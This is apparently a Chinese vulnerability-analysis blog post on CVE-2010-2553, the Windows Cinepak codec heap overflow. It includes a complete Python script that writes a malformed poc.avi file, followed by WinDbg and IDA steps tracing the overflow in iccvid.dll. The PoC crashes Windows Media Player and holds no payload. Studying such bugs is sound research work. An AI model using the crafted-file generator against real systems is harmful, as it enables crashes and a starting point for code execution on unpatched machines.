赞
踩
1 实验环境
操作系统:Window xp sp3
软件 :Windows Media Player
2 漏洞背景
CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。
漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。
3 实验内容
首先利用以下的Python代码生成poc.avi文件。
- import sys
- def main():
-
- aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
- padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
- movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
- cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
- number_of_coded_strips = '\x00\x10'
- cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
- idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
-
- avifile = open('poc.avi', 'wb+')
- avifile.write(aviHeaders)
- avifile.write(padding)
- avifile.write(movi_tag)
- avifile.write(cinepak_codec_data1)
- avifile.write(number_of_coded_strips)
- avifile.write(cinepak_codec_data2)
- avifile.write(idx_tag)
- avifile.close()
- print '[-] AVI file generated'
-
- if __name__ == '__main__':
- main()

然后利用windbg中的gflag.exe开启windows media player的页堆。(进入到gflag.exe的目录下执行如下命令)
开启页堆之后,就方便调试了。接下来,首先打开windows media player软件和windbg调试软件。将windows media player附加到windbg上。
点击OK之后,程序成功在windbg中载入,调试器会显示程序正在被调试。
接下来将之前生成好的poc.avi拖入windows media player软件中会得到如下结果。
此时的程序就已经执行断下了,使用kb栈回溯查看触发异常前栈中的内容。
然后直接使用ub命令依次显示栈回溯中的iccvid+0x22cc和iccvid!DllInstanceInit+0x6279前面的汇编代码。其中在查看iccvid!DllInstanceInit+0x6279前面的汇编代码时,发现它最后调用了一个函数,可能是造成漏洞的原因。
这里需要对地址0x73b7cbee下断点,但是此时若直接下断点是不会成功的,因为该地址位于iccvid.dll模块中,而iccvid只有在解析poc.avi时才会被动态加载,若重新附加进程运行,里面是没有iccvid.dll模块的。所以首先利用WinDbg的sxe ld:ModuleName即sxe ld:iccvid命令,在程序首次加载iccvid.dll时断下,然后再对0x73b7cbee下断点即可。
所以现在先关掉当前的调试窗口,重新上述的附加操作,然后再给模块下断。
接下来查看是否断在了iccvid模块处,确定了之后就可以给地址0x73b7cbee下断点了。
然后按g开始运行,程序成功断在了指定位置。
然后按F8进入单步调试,然后一直p单步执行下去。
此时再用ida分析iccvid.dll模块,同样跳转到地址0x73b7cbee处,看到确实是一个call执行。
进入该函数,首先可以看到它有7个参数
然后判断第三个参数是否大于等于20h
下面可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。
可以发现,三次循环,edi的值每一次增加了2000h。而由于整个堆空间只有6000h,在拷贝三次后,发生溢出。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。